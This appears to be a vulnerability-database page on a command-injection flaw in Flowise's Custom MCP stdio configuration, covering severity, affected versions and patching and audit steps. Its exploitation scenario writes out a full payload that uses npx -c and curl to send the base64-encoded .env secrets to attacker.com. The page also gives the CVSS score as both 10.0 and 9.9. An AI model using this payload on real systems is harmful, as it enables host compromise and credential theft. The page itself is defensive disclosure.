CVE-2026-40933: Flowise: RCE via MCP stdio command injection
GHSA-c9gw-hvqq-f33r CRITICAL CISA: ATTENDCVE-2026-40933 is a perfect CVSS 10.0 OS command injection in Flowise, the popular no-code AI agent builder, allowing any authenticated user to execute arbitrary commands on the underlying host by abusing the Custom MCP stdio server configuration. Despite input sanitization controls (`validateCommandInjection`, `validateArgsForLocalFileAccess`) and an allowlist of safe commands, an attacker trivially bypasses these by pairing the whitelisted `npx` binary with the `-c` execution flag — a one-line PoC is publicly documented in the advisory. With network-accessible attack vector, low privileges required, no user interaction, and Changed scope, any Flowise instance accessible to more than a single trusted operator — including multi-tenant enterprise deployments or internally exposed dev environments — faces immediate full host compromise risk. Upgrade to flowise >= 3.1.0 immediately; if patching is not possible, restrict the `/canvas` configuration UI to admin-only roles at the network or auth layer and audit existing MCP server configurations for malicious entries.
What is the risk?
Maximum severity (CVSS 10.0). The vulnerability is trivially exploitable: the PoC requires no specialized knowledge beyond a valid Flowise account. The bypass technique — using an allowlisted binary with a shell execution flag — is a classic allowlist evasion that even non-expert attackers can replicate from the public advisory. Flowise is widely deployed as a self-hosted AI agent builder in enterprise and startup environments, often with multiple users having configuration access. The Changed scope in the CVSS vector means successful exploitation breaks out of the application context and compromises the underlying OS, dramatically escalating blast radius beyond the AI platform itself.
Attack Kill Chain
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| flowise | npm | <= 3.0.13 | 3.1.0 |
| flowise-components | npm | <= 3.0.13 | 3.1.0 |
Severity & Risk
Attack Surface
What should I do?
5 steps-
Patch immediately
Upgrade
flowiseandflowise-componentsto >= 3.1.0. -
Audit existing MCP configs
Query the database for any MCP stdio server entries with
npx -c,node -e,python -c,bash -c, or similar shell execution flags in args. -
If patching is delayed
Restrict access to
localhost:3000/canvas(or equivalent) to a dedicated admin RBAC role; block non-admin users from reaching MCP configuration endpoints at the reverse proxy layer. -
Check for compromise
Review OS process history for unexpected child processes spawned by the Flowise Node.js process, and audit
/tmp/and home directories for attacker-created files (the PoC creates/tmp/pwn). -
Rotate secrets
Any environment variables accessible to the Flowise process (LLM API keys, DB credentials, cloud keys) should be rotated as a precaution if the instance had multi-user access.
CISA SSVC Assessment
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-40933?
CVE-2026-40933 is a perfect CVSS 10.0 OS command injection in Flowise, the popular no-code AI agent builder, allowing any authenticated user to execute arbitrary commands on the underlying host by abusing the Custom MCP stdio server configuration. Despite input sanitization controls (`validateCommandInjection`, `validateArgsForLocalFileAccess`) and an allowlist of safe commands, an attacker trivially bypasses these by pairing the whitelisted `npx` binary with the `-c` execution flag — a one-line PoC is publicly documented in the advisory. With network-accessible attack vector, low privileges required, no user interaction, and Changed scope, any Flowise instance accessible to more than a single trusted operator — including multi-tenant enterprise deployments or internally exposed dev environments — faces immediate full host compromise risk. Upgrade to flowise >= 3.1.0 immediately; if patching is not possible, restrict the `/canvas` configuration UI to admin-only roles at the network or auth layer and audit existing MCP server configurations for malicious entries.
Is CVE-2026-40933 actively exploited?
No confirmed active exploitation of CVE-2026-40933 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-40933?
1. **Patch immediately**: Upgrade `flowise` and `flowise-components` to >= 3.1.0. 2. **Audit existing MCP configs**: Query the database for any MCP stdio server entries with `npx -c`, `node -e`, `python -c`, `bash -c`, or similar shell execution flags in args. 3. **If patching is delayed**: Restrict access to `localhost:3000/canvas` (or equivalent) to a dedicated admin RBAC role; block non-admin users from reaching MCP configuration endpoints at the reverse proxy layer. 4. **Check for compromise**: Review OS process history for unexpected child processes spawned by the Flowise Node.js process, and audit `/tmp/` and home directories for attacker-created files (the PoC creates `/tmp/pwn`). 5. **Rotate secrets**: Any environment variables accessible to the Flowise process (LLM API keys, DB credentials, cloud keys) should be rotated as a precaution if the instance had multi-user access.
What systems are affected by CVE-2026-40933?
This vulnerability affects the following AI/ML architecture patterns: AI agent frameworks, LLM orchestration platforms, MCP (Model Context Protocol) deployments, No-code/low-code AI builder platforms, Multi-tenant AI development environments.
What is the CVSS score for CVE-2026-40933?
CVE-2026-40933 has a CVSS v3.1 base score of 9.9 (CRITICAL). The EPSS exploitation probability is 0.07%.
AI Security Impact
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.005 AI Agent Tool AML.T0012 Valid Accounts AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter AML.T0053 AI Agent Tool Invocation AML.T0072 Reverse Shell AML.T0081 Modify AI Agent Configuration Compliance Controls Affected
Technical Details
Original Advisory
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, due to unsafe serialization of stdio commands in the MCP adapter, an authenticated attacker can add an MCP stdio server with an arbitrary command, achieving command execution. The vulnerability lies in a bug in the input sanitization from the “Custom MCP” configuration in http://localhost:3000/canvas - where any user can add a new MCP, when doing so - adding a new MCP using stdio, the user can add any command, even though your code have input sanitization checks such as validateCommandInjection and validateArgsForLocalFileAccess, and a list of predefined specific safe commands - these commands, for example "npx" can be combined with code execution arguments ("-c touch /tmp/pwn") that enable direct code execution on the underlying OS. This vulnerability is fixed in 3.1.0.
Exploitation Scenario
An attacker with a low-privilege Flowise account — such as a developer or analyst in an organization using shared Flowise for AI workflow prototyping — navigates to `/canvas` and opens the Custom MCP configuration panel. They create a new MCP entry with `{"command": "npx", "args": ["-c", "curl http://attacker.com/exfil?data=$(cat /opt/flowise/.env | base64)"]}`. When the MCP server is initialized (either immediately on save or on next workflow execution), Flowise passes this through its sanitization layer — which permits `npx` as a safe command — and spawns the process, executing the attacker's payload as the Flowise service account. The attacker receives all environment variables including LLM API keys, database credentials, and any secrets loaded into the process. From there, they deploy a reverse shell for persistent access and move laterally to the database and other internal services.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H References
- github.com/FlowiseAI/Flowise/security/advisories/GHSA-c9gw-hvqq-f33r
- github.com/advisories/GHSA-c9gw-hvqq-f33r
- ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem
- ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp
Timeline
Related Vulnerabilities
CVE-2025-59528 10.0 Flowise: Unauthenticated RCE via MCP config injection
Same package: flowise CVE-2025-61913 9.9 Flowise: path traversal in file tools leads to RCE
Same package: flowise CVE-2026-30824 9.8 Flowise: auth bypass exposes NVIDIA NIM container endpoints
Same package: flowise CVE-2026-30821 9.8 flowise: Arbitrary File Upload enables RCE
Same package: flowise CVE-2025-58434 9.8 Flowise: auth bypass in reset flow allows full ATO
Same package: flowise